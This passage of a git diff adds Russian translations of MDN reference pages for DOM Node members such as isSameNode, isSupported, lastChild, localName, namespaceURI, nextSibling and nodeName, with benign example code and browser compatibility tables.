+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+=</span> <span class="string token">"div 0 equals div 0: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span>
+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+=</span> <span class="string token">"div 0 equals div 1: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span>
+output<span class="punctuation token">.</span>innerHTML <span class="operator token">+=</span> <span class="string token">"div 0 equals div 2: "</span> <span class="operator token">+</span> divList<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">isEqualNode</span><span class="punctuation token">(</span>divList<span class="punctuation token">[</span><span class="number token">2</span><span class="punctuation token">]</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Results">Results</h3>
+
+<p>{{ EmbedLiveSample('Example', 480) }}</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li>{{spec("https://dom.spec.whatwg.org/#dom-node-isequalnode","DOM Standard","LS")}}</li>
+ <li>{{spec("http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-isEqualNode","DOM Level 3 Core: isEqualNode","REC")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/issamenode/index.html b/files/ru/web/api/node/issamenode/index.html
new file mode 100644
index 0000000000..b8050e92d6
--- /dev/null
+++ b/files/ru/web/api/node/issamenode/index.html
@@ -0,0 +1,110 @@
+---
+title: Node.isSameNode()
+slug: Web/API/Node/isSameNode
+translation_of: Web/API/Node/isSameNode
+---
+<div>{{APIRef("DOM")}} {{ Obsolete_header }}</div>
+
+<p>The <code><strong>Node.isSameNode()</strong></code> проверяет ссылаются ли два узла на один и тот же объект.</p>
+
+<div class="note">
+<p><strong>Предупреждение:</strong> Данный метод больше не реализуется в последних браузерах.</p>
+
+<pre class="brush:js">// Instead of using
+node1.isSameNode(node2)
+
+// use
+node1 === node2 // or
+node1 == node2</pre>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>isSameNode</em> = <em>node</em>.isSameNode(<em>other</em>);
+</pre>
+
+<ul>
+ <li><code>other</code> узел для проверки.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалено из спецификации.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Node3-isSameNode', 'Node.isSameNode()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_в_браузерах">Совместимость в браузерах</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("9.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("9.0")}}.<br>
+    Удалено в {{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.isEqualNode()")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/issupported/index.html b/files/ru/web/api/node/issupported/index.html
new file mode 100644
index 0000000000..0581349b24
--- /dev/null
+++ b/files/ru/web/api/node/issupported/index.html
@@ -0,0 +1,124 @@
+---
+title: Node.isSupported()
+slug: Web/API/Node/isSupported
+translation_of: Web/API/Node/isSupported
+---
+<p>{{APIRef("DOM")}}{{obsolete_header}}</p>
+
+<p><code><strong>Node.isSupported()</strong></code> возвращает {{domxref("Boolean")}} флаг содержащий результат проверки реализует ли реализация DOM определенное свойство и поддерживается ли это свойство конкретным узлом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>boolValue</em> = <em>element</em>.isSupported(<em>feature</em>, <em>version</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>feature</em></dt>
+ <dd>Это {{domxref("DOMString")}} содержащая имя свойства для проверки. Это тоже имя, которое может быть передано в метод <code>hasFeature</code> в <a href="/en/DOM/document.implementation" title="en/DOM/document.implementation">DOMImplementation</a>. Возможные значения определенные в спецификации ядра DOM перечислены в DOM Level 2 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/introduction.html#ID-Conformance">соответствующий раздел</a>.</dd>
+ <dt><em>version</em></dt>
+ <dd>Это {{domxref("DOMString")}} содержащая номер версии свойства для ис проверки.В DOM уровень 2, version 1, это строка <code>2.0</code>. если версия не указана, поддерживает любую версию свойства, вызывает метод и возвращает true.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: html">&lt;div id="doc"&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+ // Получить элемент и проверить поддерживает ли он модуль DOM2 HTML.
+ var main = document.getElementById('doc');
+ var output = main.isSupported('HTML', '2.0');
+&lt;/script&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалено из спецификации.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', '/core.html#Level-2-Core-Node-supports', 'Node.isSupported()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Никаких изменений с {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', '/core.html#Level-2-Core-Node-supports', 'Node.isSupported()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("22.0")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("21.0")}}.<br>
+    Удалено в {{CompatGeckoMobile("22.0")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko-специфичные_замечания">Gecko-специфичные замечания</h3>
+
+<p>[1] Начиная с Gecko 19.0 {{geckoRelease("19.0")}} этот метод всегда будет возвращать true ({{bug("801425")}}) и начиная с Gecko 22.0 {{geckoRelease("22.0")}} этот метод был удален.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Принадлежит интерфейсу {{domxref("Node")}}.</li>
+</ul>
diff --git a/files/ru/web/api/node/lastchild/index.html b/files/ru/web/api/node/lastchild/index.html
new file mode 100644
index 0000000000..6c0f0d9722
--- /dev/null
+++ b/files/ru/web/api/node/lastchild/index.html
@@ -0,0 +1,32 @@
+---
+title: Node.lastChild
+slug: Web/API/Node/lastChild
+translation_of: Web/API/Node/lastChild
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Основная информация</h2>
+
+<p><strong>lastChild</strong> возвращает последнего потомка в узле.</p>
+
+<h2 id="Syntax_and_Values" name="Syntax_and_Values">Синтаксис</h2>
+
+<pre class="syntaxbox">var last_child = element.lastChild
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Возвращаемый элемент <code>last_child</code> является узлом. Если его родитель является элементом, то возвращаемый узел является узлом типа Элемент, Текст, или же узлом комментария. Если в опрашиваемом узле нет дочерних элементов, <strong>lastChild </strong>возвращает <code>null</code> .</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var tr = document.getElementById("row1");
+var corner_td = tr.lastChild;
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li>{{Spec("http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-61AD09FB", "DOM Level 2: lastChild", "REC")}}</li>
+ <li>{{Spec("http://dom.spec.whatwg.org/#dom-node-lastchild", "DOM Standard: lastChild")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/localname/index.html b/files/ru/web/api/node/localname/index.html
new file mode 100644
index 0000000000..2942a8fa66
--- /dev/null
+++ b/files/ru/web/api/node/localname/index.html
@@ -0,0 +1,80 @@
+---
+title: Node.localName
+slug: Web/API/Node/localName
+translation_of: Web/API/Node/localName
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.localName</strong></code> только для чтения, возвращает локальную часть полного имени этого узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>name</var> = <var>element</var>.localName
+</pre>
+
+<ul>
+ <li><code>name</code> это локальное имя в виде строки (для уточнения деталей смотрите {{Anch("Notes")}} ниже)</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>(Должен быть обработан с XML типом содержимого, таким как <code>text/xml</code> или <code>application/xhtml+xml</code>.)</p>
+
+<pre class="brush:xml">&lt;html xmlns="http://www.w3.org/1999/xhtml"
+      xmlns:svg="http://www.w3.org/2000/svg"&gt;
+&lt;head&gt;
+  &lt;script type="application/javascript"&gt;&lt;![CDATA[
+  function test() {
+    var text = document.getElementById('text');
+    var circle = document.getElementById('circle');
+
+    text.value = "&lt;svg:circle&gt; has:\n" +
+                 "localName = '" + circle.localName + "'\n" +
+                 "namespaceURI = '" + circle.namespaceURI + "'";
+  }
+  ]]&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="test()"&gt;
+  &lt;svg:svg version="1.1"
+    width="100px" height="100px"
+    viewBox="0 0 100 100"&gt;
+    &lt;svg:circle cx="50" cy="50" r="30" style="fill:#aaa" id="circle"/&gt;
+  &lt;/svg:svg&gt;
+  &lt;textarea id="text" rows="4" cols="55"/&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Локальное имя узла, является полным именем узла, которое идет после двоеточия. Полное имя, как правило, используется как часть пространства имен <span id="result_box" lang="ru"><span class="hps">для</span> <span class="hps">конкретных</span> <span class="hps">XML</span> <span class="hps">документов.</span></span> Например, полное имя <code>ecomm:partners</code>, <code>partners</code> это локальное имя и <code>ecomm</code> это префикс:</p>
+
+<pre class="brush:xml">&lt;ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"&gt;
+  &lt;ecomm:partners&gt;
+    &lt;ecomm:partner id="1001"&gt;Tony's Syrup Warehouse
+    &lt;/ecomm:partner&gt;
+  &lt;/ecomm:partner&gt;
+&lt;/ecomm:business&gt;
+</pre>
+
+
+<div class="note">
+<p><strong>Примечание:</strong> В {{Gecko("1.9.2")}} и ранее, свойство возвращает версию локального имени в верхнем регистре для HTML элементов в HTML DOMs (в отличии от XHTML элементов в XML DOMs). В более поздних версиях, в соответствии с HTML5, свойство возвращает, в случае внутреннего хранилища DOM, в нижнем регистре для HTML элементов в HTML DOMs и XHTML элементов в XML DOMs. {{domxref("element.tagName","tagName")}} свойство продолжает возвращать в верхнем регистре для HTML элементов в HTML DOMs.</p>
+</div>
+
+<p>Для узла другово <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node.nodeType">типа</a> отличного от <code>ELEMENT_NODE</code> и <code>ATTRIBUTE_NODE</code> <code>localName</code> всегда <code>null</code>.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-NodeNSLocalN">DOM Level 2 Core: Node.localName</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-NodeNSLocalN">DOM Level 3 Core: Node.localName</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.namespaceURI")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/lookupnamespaceuri/index.html b/files/ru/web/api/node/lookupnamespaceuri/index.html
new file mode 100644
index 0000000000..10899ce8ae
--- /dev/null
+++ b/files/ru/web/api/node/lookupnamespaceuri/index.html
@@ -0,0 +1,18 @@
+---
+title: Node.lookupNamespaceURI()
+slug: Web/API/Node/lookupNamespaceURI
+translation_of: Web/API/Node/lookupNamespaceURI
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Node.lookupNamespaceURI()</strong></code> берет префикс и возвращает пространство имен URI связанное с ним в данном узле, если найден (и <code>null</code> если нет). Устанавливает <code>null</code> для префикса который возвращает пространство имен по умолчанию.</p>
+
+<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имен (т.е., с уставленным тем же <a href="/en/DOM/Node.prefix" title="En/DOM/Node.prefix">Node.prefix</a>).</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-lookupNamespaceURI" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...upNamespaceURI</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/node/lookupprefix/index.html b/files/ru/web/api/node/lookupprefix/index.html
new file mode 100644
index 0000000000..10a92d81af
--- /dev/null
+++ b/files/ru/web/api/node/lookupprefix/index.html
@@ -0,0 +1,16 @@
+---
+title: Node.lookupPrefix()
+slug: Web/API/Node/lookupPrefix
+translation_of: Web/API/Node/lookupPrefix
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Node.lookupPrefix()</strong></code> возвращает {{domxref("DOMString")}} содержащий префикс для данного пространства имен URI, если он присутствует, и <code>null</code> если нет. Когда возможно присутствие нескольких префиксов, результат зависит от реализации.</p>
+
+<p>Из-за ошибки <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=312019" title="https://bugzilla.mozilla.org/show_bug.cgi?id=312019">bug 312019</a>, этот метод не работает с динамическим назначением пространства имен, которое установлено с тем же свойством {{domxref("Node.prefix")}}.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-lookupNamespacePrefix" rel="freelink">http://www.w3.org/TR/DOM-Level-3-Cor...amespacePrefix</a></li>
+</ul>
diff --git a/files/ru/web/api/node/namespaceuri/index.html b/files/ru/web/api/node/namespaceuri/index.html
new file mode 100644
index 0000000000..4e4c75e59e
--- /dev/null
+++ b/files/ru/web/api/node/namespaceuri/index.html
@@ -0,0 +1,45 @@
+---
+title: Node.namespaceURI
+slug: Web/API/Node/namespaceURI
+translation_of: Web/API/Node/namespaceURI
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.namespaceURI</strong></code> только для чтения, возвращает пространство имен URI узла или <code>null,</code> если узел не находится в пространстве имен (только для чтения). Хотя узел документа, возвращает пространство имен XML для текущего документа.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>namespace</em> = <em>node</em>.namespaceURI</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В этом снипнете, узел рассматривается для его <a href="/en-US/docs/DOM/Node.localName" title="DOM/Node.localName">localName</a> и его <code>namespaceURI</code>. Если <code>namespaceURI</code> возвращает XUL пространство имен и <code>localName</code> возвращая "browser", затем узел XUL согласует <code>&lt;browser/&gt;</code>.</p>
+
+<pre class="brush:js">if (node.localName == "browser" &amp;&amp;
+    node.namespaceURI == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") {
+  // this is a XUL browser
+}</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Это не вычисленное значение, которое является результатом поиска имен на основе проверки декларации в области пространства имен. Пространство имен URI узла заморожена в момент создания узла.</p>
+
+<p>В Firefox 3.5 и выше, пространство имен URI для HTML элементов в HTML документах это <code>null</code>. В более поздних версиях, в соответствии с HTML5, это <code><a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a></code> как в XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
+
+<p>Для узлов любого <a href="/en-US/docs/DOM/Node.nodeType" title="DOM/Node/NodeType/Node.nodeType">nodeType</a> кроме <code>ELEMENT_NODE</code> и <code>ATTRIBUTE_NODE</code> значение <code>namespaceURI</code> всегда <code>null</code>.</p>
+
+<p>Вы можите создать элемент с конкретным <code>namespaceURI</code> используйте метод DOM Level 2 <a href="/en-US/docs/DOM/document.createElementNS" title="DOM/document.createElementNS">document.createElementNS</a>.</p>
+
+<p>Через <a class="external" href="http://www.w3.org/TR/xml-names11/">пространство имен в XML</a> спецификации, атрибуты не наследуют пространство имен для элемента к которому он прикреплен. Если у атрибута не задано явно пространство имен, он не имеет пространства имен.</p>
+
+<p>DOM не обрабатывает или не вынуждает проверять пространство имен как таковое. Приложения выше DOM, делают необходимые проверки. <span id="result_box" lang="ru"><span class="hps">Отметим также,</span> <span class="hps">что</span> <span class="hps">префикс пространства имен</span><span>,</span> <span class="hps">когда</span> <span class="hps">он связан с</span> <span class="hps">конкретным узлом</span><span>,</span> <span class="hps">не может быть изменен</span><span>.</span></span></p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-NodeNSname">DOM Level 2 Core: namespaceURI</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Namespaces-Considerations">DOM Level 2 Core: XML Namespaces</a></li>
+ <li><a href="http://www.w3.org/TR/dom/#dom-element-namespaceuri">DOM4: namespaceURI</a></li>
+</ul>
diff --git a/files/ru/web/api/node/nextsibling/index.html b/files/ru/web/api/node/nextsibling/index.html
new file mode 100644
index 0000000000..cc874be72e
--- /dev/null
+++ b/files/ru/web/api/node/nextsibling/index.html
@@ -0,0 +1,83 @@
+---
+title: Node.nextSibling
+slug: Web/API/Node/nextSibling
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Node
+  - Property
+  - Свойство
+  - Узел
+  - Узлы
+translation_of: Web/API/Node/nextSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.nextSibling</strong></code> используется только для чтения и возвращает узел, непосредственно следующий за данным узлом в списке  {{domxref("Node.childNodes","childNodes")}} его родительского элемента, или <code>null</code> если данный узел последний в этом списке.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>nextNode</var> = <var>node</var>.nextSibling
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<div><p>Браузеры, основанные на Gecko, вставляют текстовые узлы в документ для представления пробелов в разметке.
+    Поэтому узел, полученный, например, при использовании <a href="/ru/docs/Web/API/Node/firstChild" title="Свойство Node.firstChild только для чтения, возвращающее первый потомок узла в древе или null, если узел является бездетным. Если узел это документ, он возвращает первый узел в списке своих прямых детей."><code>Node.firstChild</code></a> или <a href="/ru/docs/Web/API/Node/previousSibling" title="Свойство Node.previousSibling используется только для чтения, оно возвращает узел предшедствующий указанному в родительском элементе childNodes, или null,  если указанный узел первый в своём родителе."><code>Node.previousSibling</code></a> может относиться к
+    пробелу, а не к тому элементу, который автор хотел получить.</p>
+
+    <p>Смотрите <a class="new" href="/ru/docs/Web/Guide/DOM/Whitespace_in_the_DOM" rel="nofollow">Пробел в DOM</a> и
+    <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Почему некоторые текстовые узлы пустые?</a>
+    для дополнительной информации.</p></div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;div id="div-01"&gt;Вот div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Вот div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+var el = document.getElementById('div-01').nextSibling,
+    i = 1;
+
+console.log('Потомки div-01:');
+
+while (el) {
+  console.log(i + '. ' + el.nodeName);
+  el = el.nextSibling;
+  i++;
+}
+
+&lt;/script&gt;
+
+/**************************************************
+  Следующий пример напишет в консоль:
+
+     Потомки div-01:
+
+      1. #text
+      2. DIV
+      3. #text
+      4. SCRIPT
+
+**************************************************/
+</pre>
+
+<p>В приведенном выше примере вы можете видеть, что <code>#text</code> узлы вставляются в DOM, где между тегами встречаются пробелы (т.е. после закрывающего тега элемента и до открывающего тега рядом). Не создается пробелов между элементами, вставленных с помощью <code>document.write</code></p>
+
+<p>Возможность включения текстовых узлов в DOM должна быть разрешена, когда DOM обходится с помощью <code>nextSibling</code>. Смотрите раздел "Заметки".</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-nextSibling">DOM Level 1 Core: nextSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6AC54C2F">DOM Level 2 Core: nextSibling</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.nextElementSibling")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/nodename/index.html b/files/ru/web/api/node/nodename/index.html
new file mode 100644
index 0000000000..36962d050a
--- /dev/null
+++ b/files/ru/web/api/node/nodename/index.html
@@ -0,0 +1,104 @@
+---
+title: Node.nodeName
+slug: Web/API/Node/nodeName
+translation_of: Web/API/Node/nodeName
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.nodeName</strong></code> только для чтения, возвращающие имя текущего узла в виде строки.</p>
+
+<p>Возвращаемое значение для различных типов узлов:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Интерфейс</th>
+   <th>значение nodeName</th>
+  </tr>
+  <tr>
+   <td>{{domxref("Attr")}}</td>
+   <td>Значение {{domxref("Attr.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("CDATASection")}}</td>
+   <td><code>"#cdata-section"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Comment")}}</td>
+   <td><code>"#comment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("Document")}}</td>
+   <td><code>"#document"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentFragment")}}</td>
+   <td><code>"#document-fragment"</code></td>
+  </tr>
+  <tr>
+   <td>{{domxref("DocumentType")}}</td>
+   <td>Значение {{domxref("DocumentType.name")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Element")}}</td>
+   <td>Значение {{domxref("Element.tagName")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Entity")}}</td>
+   <td>имя сущности</td>
+  </tr>
+  <tr>
+   <td>{{domxref("EntityReference")}}</td>
+   <td>Имя сущности ссылки</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Notation")}}</td>
+   <td>Название обозначения</td>
+  </tr>
+  <tr>
+   <td>{{domxref("ProcessingInstruction")}}</td>
+   <td>
+    <p>Значение {{domxref("ProcessingInstruction.target")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("Text")}}</td>
+   <td><code>"#text"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>str</em> = <em>node</em>.nodeName;
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Учитывая следующую разметку:</p>
+
+<pre class="brush:html">&lt;div id="d1"&gt;hello world&lt;/div&gt;
+&lt;input type="text" id="t"/&gt;
+</pre>
+
+<p>и следующий скрипт:</p>
+
+<pre class="brush:js">var div1 = document.getElementById("d1");
+var text_field = document.getElementById("t");
+
+text_field.value = div1.nodeName;
+</pre>
+
+<p>В XHTML (или любых других форматов XML), значение <code>text_field</code> будет прочитано как "div". Тем не мение, в HTML, значение <code>text_field</code> будет прочитано  как "DIV", потому что <code>nodeName</code> и <code>tagName</code> возвращают в верхнем регистре элементы HTML в DOM помеченом как HTML документ. Узнайте больше <a href="http://ejohn.org/blog/nodename-case-sensitivity/">деталей о чувствительности регистра nodeName в различных браузерах.</a></p>
+
+<p>Обратите внимание, что свойство <code><a href="/en-US/docs/DOM/element.tagName" title="DOM/element.tagName">tagName</a></code> можно было бы использовать вместо него, поскольку <code>nodeName</code> имеет тоже значение что и <code>tagName</code> для элемента. Однако имейте в виду, что <code>nodeName</code> будет возвращать <code>#text</code> для текстого узла, в то время как <code>tagName</code> будет возвращать <code>undefined</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68D095">DOM Level 2 Core: Node.nodeName</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-F68D095">DOM Level 3 Core: Node.nodeName</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dom.html#apis-in-html-documents">HTML 5: APIs in HTML documents</a></li>
+</ul>
diff --git a/files/ru/web/api/node/nodeprincipal/index.html b/files/ru/web/api/node/nodeprincipal/index.html
new file mode 100644
index 0000000000..7f654f83f4
--- /dev/null
+++ b/files/ru/web/api/node/nodeprincipal/index.html
@@ -0,0 +1,28 @@
+---
+title: Node.nodePrincipal
+slug: Web/API/Node/nodePrincipal
+translation_of: Web/API/Node
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+{{Non-standard_header}}
+
+<p>Свойство <code><strong>Node.nodePrincipal</strong></code> только для чтения, возвращающее объект {{Interface("nsIPrincipal")}}, представляющий текущий контекст безопасности узла.</p>
+
+<p>{{Note("Это свойство существует во всех узлах (HTML, XUL, SVG, MathML, и т.д.), но только если скрипт пытается использовать chrome привилегии.")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>principalObj</em> = element.nodePrincipal
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
